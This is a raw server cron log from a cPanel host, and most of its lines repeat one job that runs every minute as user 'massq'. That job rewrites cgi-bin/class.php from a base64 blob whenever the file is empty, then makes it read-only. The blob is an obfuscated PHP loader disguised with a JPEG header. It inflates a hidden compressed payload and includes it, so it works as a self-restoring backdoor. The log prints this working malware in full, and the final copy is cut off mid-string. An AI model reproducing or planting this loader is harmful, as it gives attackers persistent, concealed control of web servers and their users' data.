Sep  2 21:55:01 server CROND[19065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:55:01 server CROND[19062]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 21:55:01 server CROND[19066]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 21:55:01 server CROND[19069]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:55:01 server CROND[19064]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:56:01 server CROND[19894]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:56:01 server CROND[19895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:56:01 server CROND[19896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:57:01 server CROND[20366]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:57:01 server CROND[20367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:57:01 server CROND[20368]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 21:57:01 server CROND[20369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:58:01 server CROND[20747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:58:01 server CROND[20748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:58:01 server CROND[20749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:59:01 server CROND[21134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:59:01 server CROND[21135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:59:01 server CROND[21136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:00:01 server CROND[21518]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:00:01 server CROND[21520]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 22:00:01 server CROND[21526]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 22:00:01 server CROND[21528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:00:01 server CROND[21529]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 22:00:01 server CROND[21527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:00:01 server CROND[21524]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:00:01 server CROND[21530]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 22:00:01 server CROND[21525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:00:01 server CROND[21523]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 22:01:01 server CROND[23157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:01:01 server CROND[23158]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 22:01:01 server CROND[23159]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:01:01 server CROND[23160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:01:01 server run-parts(/etc/cron.hourly)[23158]: starting 0anacron
Sep  2 22:01:01 server run-parts(/etc/cron.hourly)[23180]: finished 0anacron
Sep  2 22:02:01 server CROND[23638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:02:01 server CROND[23639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:02:01 server CROND[23640]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:03:01 server CROND[24004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:03:01 server CROND[24005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:03:01 server CROND[24006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:04:01 server CROND[24372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:04:01 server CROND[24373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:04:01 server CROND[24374]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:05:01 server CROND[24758]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 22:05:01 server CROND[24760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:05:01 server CROND[24761]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:05:01 server CROND[24767]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:05:01 server CROND[24765]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:05:01 server CROND[24772]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 22:05:01 server CROND[24769]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 22:05:01 server CROND[24768]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:06:01 server CROND[25625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLc